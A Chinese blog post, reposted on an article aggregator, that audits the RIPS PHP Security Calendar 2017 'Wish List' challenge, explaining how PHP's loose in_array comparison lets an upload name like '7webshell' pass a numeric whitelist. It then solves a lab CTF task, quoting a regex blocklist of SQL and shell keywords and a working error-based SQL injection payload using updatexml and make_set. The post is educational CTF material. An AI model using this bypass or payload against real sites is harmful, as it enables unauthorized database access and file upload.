【代码审计】PHP SECURITY CALENDAR 2017-Wish List
程序员文章站
2022-04-30 11:31:46
...
个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
环境:
https://www.ripstech.com/php-security-calendar-2017/
参考
https://xz.aliyun.com/t/2451
in_array函数
给了一段php代码
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
简单分析一下。可以理解为有文件上传的功能,并且有白名单保护$whitelist。
$whitelist是一个数组,存放着24个元素,值依次是从1到24。。
假如我们传入的name是7webshell。此时比较的时候会变成
"7webshell"==1
"7webshell"==2
"7webshell"==3
"7webshell"==4
"7webshell"==5
"7webshell"==6
"7webshell"==7
和比较7的时候,因为php弱类型的关系。会将字符串7webshell转换整型7.然后进行比较,此时7=7。所以返回的是true。从而绕过了白名单检测。
不过in_array支持第三个参数。如果第三个参数设置为true,则会先判断类型是否相同,不相同直接返回false。。
链接里之后布置了一个CTF题,看关键代码
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
这里有一个stop_hack函数。通过正则过滤了一些字符。
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
虽然过滤了一些,但是还是可以使用报错注入的。
payload:
http://192.168.43.187:10000/day1/practice/?id=2 and updatexml(1,make_set(3,'~',(select flag from flag)),1)
这里有一个make_set函数。第一个参数是3。转换为二进制是011。反过来是110。所以取第一个和第二个参数。打印出 ~,aaa@qq.com
https://blog.csdn.net/qq_41725312/article/details/83039525
select make_set(3,'~',(select user()));
问题
我想问一个问题,我想爆表的时候。发现information中的or被过滤了。不知道还有什么方法。有大佬知道的麻烦在评论区说一声,谢谢。
欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群